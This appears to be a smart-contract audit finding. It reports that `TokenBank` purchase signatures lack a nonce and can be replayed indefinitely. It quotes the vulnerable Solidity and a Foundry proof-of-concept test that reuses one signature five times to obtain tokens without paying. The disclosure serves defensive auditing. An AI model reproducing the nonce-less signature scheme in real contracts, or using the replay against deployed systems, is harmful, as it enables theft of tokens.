HIGH severity: Signatures on `TokenBank` and `AllowList` can be reused in perpetuity an infinite amount of times. **Description:** `TokenBank` allows buyers to purchase tokens by getting an off-chain signature, which specifies the token and the amount they are allowed to buy. When buying using a signature, the buyer doesn't have to pay on-chain for the purchase (As that is handled off-chain). The problem is...

Vulnerable code:
//TokenBank.sol//
    // Handle payment off chain, including referral discount
    function buyTokenOCP(
        address signer,
        address tokenAddress,
        uint256 amount,
        bytes memory signature
    ) external nonReentrant {
        ...
        if (!verifySignature(signer, sender, tokenAddress, amount, signature))
            revert InvalidSignature();
        //@audit => No payment of stablecoin!
        _buyToken(address(0), sender, tokenAddress, amount, false);
    }

    function verifySignature(
        address signer,
        address investor,
        address token,
        uint256 amount,
        bytes memory signature
    ) internal view returns (bool result) {
//@audit-issue => No nonce on the hash of the signature
@>      bytes32 structHash = keccak256(
            abi.encode(
                BUY_TOKEN_TYPEHASH,
                investor,
                token,
                amount
        ));

        result = _verifySignature(signer, _hashTypedDataV4(structHash), signature);
    }

function test_cyfrin_buyTokenOCP_offchain_ReUseSignature() public {
        uint256 TOKENS_TO_PURCHASE = 1;
        _addCentralToTokenBank(60e6, true, 50_000);
        // seed inventory
        centralTokenProxy.mint(address(tokenBankProxy), uint64(5));
        address to = getDomesticUser(2);
        // register authorized signer in allowlist
        (address signer, uint256 sk) = makeAddrAndKey("BUY_SIGNER");
        bytes4[] memory asel = new bytes4[](1);
        asel[0] = bytes4(keccak256("addAuthorizedSigner(address)"));
        accessMgrProxy.setTargetFunctionRole(address(allowListProxy), asel, ADMIN_TOKEN_ID);
        accessMgrProxy.grantRole(ADMIN_TOKEN_ID, address(this), 0);
        allowListProxy.addAuthorizedSigner(signer);
        // build EIP-712 signature for BuyToken(investor, token, amount)
        bytes32 typeHash = keccak256("BuyToken(address investor, address token, uint256 amount)");
        bytes32 structHash = keccak256(abi.encode(typeHash, to, address(centralTokenProxy), TOKENS_TO_PURCHASE));
        bytes32 digest = MessageHashUtils.toTypedDataHash(tokenBankProxy.getDomainSeparator(), structHash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(sk, digest);
        bytes memory sig = abi.encodePacked(r, s, v);
        vm.startPrank(to);
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
        // to receives domestic child tokens
        assertEq(d_childTokenProxy.balanceOf(to), 5);
        vm.stopPrank();
    }